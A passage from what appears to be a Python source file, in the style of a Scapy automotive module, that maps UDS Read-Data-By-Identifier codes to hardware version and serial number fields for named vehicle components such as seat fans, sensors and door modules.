UDS_RDBI.dataIdentifiers[0x68f0] = "Air_coolant_actuator_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68f1] = "Cell_module_controller_13_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68f2] = "Cell_module_controller_14_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68f3] = "Cell_module_controller_15_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68f5] = "Seat_heating_rear_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68f6] = "LED_warning_indicator_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68f7] = "Automatic_transmission_fluid_pump_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68f8] = "Manual_transmission_fluid_pump_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68f9] = "Convenience_and_driver_assist_operating_unit_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68fb] = "Air_coolant_actuator_3_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68fc] = "Valve_block_4_in_driver_side_rear_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68fd] = "Valve_block_4_in_passenger_side_rear_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68fe] = "Valve_block_4_in_driver_side_front_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ff] = "Valve_block_4_in_passenger_side_front_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6901] = "Rear_climatronic_operating_and_display_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6902] = "Refrigerant_expansion_valve_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6903] = "Refrigerant_expansion_valve_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6904] = "Refrigerant_expansion_valve_3_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6905] = "Refrigerant_shut_off_valve_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6906] = "Refrigerant_shut_off_valve_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6907] = "Refrigerant_shut_off_valve_3_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6908] = "Refrigerant_shut_off_valve_4_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6909] = "Refrigerant_shut_off_valve_5_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x690a] = "Sunlight_sensor_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x690b] = "Near_field_communication_control_module_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x690c] = "Clutch_control_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x690d] = "Electrical_charger_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x690e] = "Rear_light_left_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x690f] = "Rear_light_right_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6910] = "Rear_light_right_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6911] = "Sunlight_sensor_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6912] = "Radiator_shutter_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6913] = "Radiator_shutter_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6914] = "Radiator_shutter_3_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6915] = "Radiator_shutter_4_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6918] = "Special_key_operating_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6919] = "Radio_interface_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x691a] = "Video_self_protection_recorder_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x691b] = "Special_vehicle_assist_interface_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x691c] = "Electric_system_disconnection_diode_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x691d] = "Cradle_rear_climatronic_operating_and_display_unit_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x691e] = "Belt_pretensioner_2nd_row_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x691f] = "Belt_pretensioner_2nd_row_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6920] = "Electrical_variable_camshaft_phasing_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6921] = "Electrical_variable_camshaft_phasing_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6922] = "Wireless_operating_unit_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6923] = "Wireless_operating_unit_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6924] = "Front_windshield_washer_pump_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6925] = "Air_quality_sensor_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6926] = "Fragrancing_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6927] = "Coolant_valve_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6928] = "Near_field_communication_control_module_3_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6929] = "Interior_monitoring_rear_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x692a] = "Cooler_fan_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x692b] = "Control_unit_heating_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x692c] = "Control_unit_heating_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x692d] = "Control_unit_heating_3_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x692e] = "Control_unit_heating_4_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x692f] = "Operating_unit_drive_mode_selection_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6930] = "Side_sensor_a-pillar_driver_front_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6931] = "Side_sensor_a-pillar_passenger_front_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6932] = "Sensor_high_voltage_system_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6933] = "Side_sensor_b-pillar_driver_front_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6934] = "Side_sensor_b-pillar_passenger_front_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6935] = "Multi_function_steering_wheel_control_module_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6936] = "Gear_selection_display_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6937] = "Cooler_fan_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6938] = "Gear_selector_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6939] = "Interior_light_module_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x693a] = "Radio_control_center_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x693b] = "Multimedia_extension_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x693c] = "Control_unit_differential_lock_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x693d] = "Control_unit_ride_control_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x693e] = "Control_unit_hands_on_detection_steering_wheel_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x693f] = "Front_climatronic_operating_and_display_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6940] = "Auxiliary_display_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6941] = "Card_reader_tv_tuner_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6942] = "Park_lock_actuator_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6943] = "Media_connector_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6944] = "Catalyst_heating_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6a01] = "Control_unit_for_wiper_motor_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a02] = "Rain_light_recognition_sensor_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a03] = "Light_switch_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a04] = "Garage_door_opener_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a05] = "Garage_door_opener_operating_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a06] = "Ignition_key_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a07] = "Left_front_seat_ventilation_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a08] = "Right_front_seat_ventilation_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a09] = "Left_rear_seat_ventilation_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a0a] = "LED_headlamp_powermodule_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a0b] = "LED_headlamp_powermodule_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a0c] = "LED_headlamp_powermodule_2_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a0d] = "LED_headlamp_powermodule_2_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a0e] = "Operating_and_display_unit_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a0f] = "Operating_and_display_unit_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a10] = "Right_rear_seat_ventilation_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a11] = "Data_medium_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a12] = "Drivers_door_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a13] = "Front_passengers_door_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a14] = "Left_headlamp_power_output_stage_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a15] = "Right_headlamp_power_output_stage_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a16] = "Sensor_for_anti_theft_alarm_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a17] = "Rear_lid_control_module_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a18] = "Alarm_horn_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a19] = "Automatic_day_night_interior_mirror_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a1a] = "Remote_control_auxiliary_heater_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a1b] = "Fresh_air_blower_front_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a1c] = "Fresh_air_blower_back_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a1d] = "Alternator_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a1e] = "Interior_light_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a1f] = "Refrigerant_pressure_and_temperature_sender_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a20] = "Sun_roof_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a21] = "Steering_column_lock_actuator_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a22] = "Anti_theft_tilt_system_control_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a23] = "Tire_pressure_monitor_antenna_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a24] = "Heated_windshield_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a25] = "Rear_light_left_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a26] = "Ceiling_light_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a27] = "Left_front_massage_seat_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a28] = "Right_front_massage_seat_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a29] = "Control_module_for_auxiliary_air_heater_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a2a] = "Belt Pretensioner left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a2b] = "Belt Pretensioner right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a2c] = "Occupant Detection_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a2d] = "Selector_lever_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a2e] = "NOx_sensor_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a2f] = "NOx_sensor_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a30] = "Ioniser_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a31] = "Multi_function_steering_wheel_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a32] = "Left_rear_door_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a33] = "Right_rear_door_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a34] = "Left_rear_massage_seat_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a35] = "Right_rear_massage_seat_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a36] = "Display_unit_1_for_multimedia_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a37] = "Battery_monitoring_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a38] = "Roof_blind_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a39] = "Sun_roof_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a3a] = "Steering_angle_sender_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a3b] = "Lane_change_assistant 2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a3c] = "Pitch_rate_sender_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a3d] = "ESP_sensor_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a3e] = "Electronic_ignition_lock_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a3f] = "Air_quality_sensor_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a40] = "Display_unit_2_for_multimedia_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a41] = "Telephone_handset_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a42] = "Chip_card_reader_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a43] = "Traffic_data_aerial_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a44] = "Hands_free_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a45] = "Telephone_handset_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a46] = "Display_unit_front_for_multimedia_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a47] = "Multimedia_operating_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a48] = "Digital_sound_system_control_module_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a49] = "Electrically_adjustable_steering_column_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a4a] = "Interface_for_external_multimedia_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a4b] = "Relative_Air_Humidity_Interior_Sender_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a4c] = "Drivers_door_rear_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a4d] = "Passengers_rear_door_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a4e] = "Sensor_controlled_power_rear_lid_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a4f] = "Camera_for_night_vision_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a50] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a51] = "Rear_spoiler_adjustment_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a52] = "Roof_blind_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a53] = "Motor_for_wind_deflector_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a54] = "Voltage_stabilizer_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a55] = "Switch_module_for_driver_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a56] = "Switch_module_for_front_passenger_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a57] = "Switch_module_for_rear_seat_driver_side_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a58] = "Switch_module_for_rear_seat_front_passenger_side_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a59] = "Switch_module_2_for_driver_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a5a] = "Battery_charger_unit_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a5b] = "Battery_charger_unit_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a5c] = "Battery_charger_unit_3_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a5d] = "Air_conditioning_compressor_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a5e] = "Neck_heating_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a5f] = "Neck_heating_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a60] = "Switch_module_2_for_front_passenger_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a61] = "Switch_module_2_for_rear_seat_front_passenger_side_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a62] = "Compact_disc_database_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a63] = "Rear_climatronic_operating_and_display_unit_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a64] = "Rear_climatronic_operating_and_display_unit_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a65] = "Door_handle_front_left_Kessy_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a66] = "Door_handle_front_right_Kessy_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a67] = "Door_handle_rear_left_Kessy_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a68] = "Door_handle_rear_right_Kessy_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a69] = "Power_converter_DC_AC_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a6a] = "Battery_monitoring_control_module_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a6b] = "Matrix_headlamp_powermodule_1_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a6c] = "Matrix_headlamp_powermodule_1_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a6d] = "High_beam_powermodule_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a6e] = "High_beam_powermodule_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a6f] = "Air_suspension_compressor_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a70] = "Rear_brake_actuator_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a71] = "Rear_brake_actuator_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a72] = "Analog_clock_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a73] = "Rear_door_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a79] = "Data_medium_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a7a] = "Operating_unit_center_console_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a7b] = "Operating_unit_center_console_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a7c] = "Operating_unit_center_console_3_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a7d] = "Operating_unit_center_console_4_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a7e] = "Interface_for_radiodisplay_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a7f] = "Parkassist_entry_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a86] = "Belt_pretensioner_3rd_row_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a87] = "Belt_pretensioner_3rd_row_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a88] = "Injection_valve_heater_control_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a89] = "Steering_column_switch_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a8a] = "Brake_assistance_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a8b] = "Trailer_articulation_angle_sensor_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a8c] = "Cup_holder_with_heater_and_cooling_element_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a8d] = "Range_of_vision_sensing_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a8e] = "Convenience_and_driver_assist_operating_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a8f] = "Cradle_rear_climatronic_operating_and_display_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a90] = "Trailer_weight_nose_weight_detection_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a91] = "Sensor_carbon_dioxide_concentration_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a92] = "Sensor_fine_dust_concentration_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a93] = "Volume_control_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a94] = "Belt_buckle_presenter_2nd_row_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a95] = "Belt_buckle_presenter_2nd_row_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a96] = "Operating_and_display_unit_6_for_air_conditioning_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a97] = "Active_accelerator_pedal_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a98] = "Multimedia_operating_unit_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a99] = "Display_unit_3_for_multimedia_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a9a] = "Display_unit_4_for_multimedia_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a9b] = "Display_unit_5_for_multimedia_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a9c] = "Control_module_for_auxiliary_blower_motors_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a9d] = "Operating_and_display_unit_3_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a9e] = "Operating_and_display_unit_4_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a9f] = "Operating_and_display_unit_5_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aa0] = "Side Sensor Driver Front_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aa1] = "Side Sensor Passenger Front_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aa2] = "Side Sensor Driver Rear_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aa3] = "Side Sensor Passenger Rear_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aa4] = "Front Sensor Driver_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aa5] = "Front Sensor Passenger_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aa6] = "Pedestrian Protection Driver_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aa7] = "Pedestrian Protection Passenger_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aa8] = "Rear Sensor Center_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aa9] = "Pedestrian Protection Center_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aaa] = "Pedestrian Protection Contact_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aab] = "Pedestrian_protection_driver_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aac] = "Pedestrian_protection_passenger_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aad] = "Central_sensor_XY_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aae] = "Refrigerant_pressure_and_temperature_sender_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aaf] = "Refrigerant_pressure_and_temperature_sender_3_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ab0] = "Switch_for_rear_multicontour_seat_driver_side_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ab1] = "Valve_block_1_in_driver_side_rear_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ab2] = "Valve_block_2_in_driver_side_rear_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ab3] = "Valve_block_3_in_driver_side_rear_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ab4] = "Switch_for_rear_multicontour_seat_passenger_side_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ab5] = "Valve_block_1_in_passenger_side_rear_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ab6] = "Valve_block_2_in_passenger_side_rear_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ab7] = "Valve_block_3_in_passenger_side_rear_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ab8] = "Switch_for_front_multicontour_seat_driver_side_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ab9] = "Valve_block_1_in_driver_side_front_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aba] = "Valve_block_2_in_driver_side_front_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6abb] = "Valve_block_3_in_driver_side_front_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6abc] = "Switch_for_front_multicontour_seat_passenger_side_Serial_Number" UDS_RDBI.dataIdentifiers[0x6abd] = "Valve_block_1_in_passenger_side_front_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6abe] = "Valve_block_2_in_passenger_side_front_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6abf] = "Valve_block_3_in_passenger_side_front_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ac0] = "Coolant_heater_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ac1] = "Seat_backrest_fan_1_front_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ac2] = "Seat_backrest_fan_2_front_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ac3] = "Seat_cushion_fan_1_front_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ac4] = "Seat_cushion_fan_2_front_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ac5] = "Seat_backrest_fan_1_front_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ac6] = "Seat_backrest_fan_2_front_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ac7] = "Seat_cushion_fan_1_front_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ac8] = "Seat_cushion_fan_2_front_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ac9] = "Operating_and_display_unit_1_for_air_conditioning_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aca] = "Operating_and_display_unit_2_for_air_conditioning_Serial_Number" UDS_RDBI.dataIdentifiers[0x6acb] = "Operating_and_display_unit_3_for_air_conditioning_Serial_Number" UDS_RDBI.dataIdentifiers[0x6acc] = "Operating_and_display_unit_4_for_air_conditioning_Serial_Number" UDS_RDBI.dataIdentifiers[0x6acd] = "Operating_and_display_unit_5_for_air_conditioning_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ace] = "Pedestrian_protection_left_hand_side_Serial_Number" UDS_RDBI.dataIdentifiers[0x6acf] = "Pedestrian_protection_right_hand_side_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ad0] = "Battery_junction_box_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ad1] = "Cell_module_controller_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ad2] = "Cell_module_controller_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ad3] = "Cell_module_controller_3_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ad4] = "Cell_module_controller_4_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ad5] = "Cell_module_controller_5_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ad6] = "Cell_module_controller_6_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ad7] = "Cell_module_controller_7_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ad8] = "Cell_module_controller_8_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ad9] = "Cell_module_controller_9_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ada] = "Cell_module_controller_10_Serial_Number" UDS_RDBI.dataIdentifiers[0x6adb] = "Cell_module_controller_11_Serial_Number" UDS_RDBI.dataIdentifiers[0x6adc] = "Cell_module_controller_12_Serial_Number" UDS_RDBI.dataIdentifiers[0x6add] = "Seat_backrest_fan_1_rear_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ade] = "Seat_backrest_fan_2_rear_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6adf] = "Seat_cushion_fan_1_rear_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ae0] = "Seat_cushion_fan_2_rear_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ae1] = "Seat_backrest_fan_1_rear_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ae2] = "Seat_backrest_fan_2_rear_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ae3] = "Seat_cushion_fan_1_rear_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ae4] = "Seat_cushion_fan_2_rear_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ae5] = "Auxiliary_blower_motor_control_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ae6] = "Auxiliary_blower_motor_control_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ae7] = "Infrared_sender_for_front_observation_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ae8] = "Starter_generator_control_module_sub_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ae9] = "Media_player_1_sub_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aea] = "Media_player_2_sub_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aeb] = "Dedicated_short_range_communication_aerial_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aec] = "Refrigerant_pressure_and_temperature_sender_4_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aed] = "Refrigerant_pressure_and_temperature_sender_5_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aee] = "Refrigerant_pressure_and_temperature_sender_6_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aef] = "Air_coolant_actuator_1_Serial_Number" 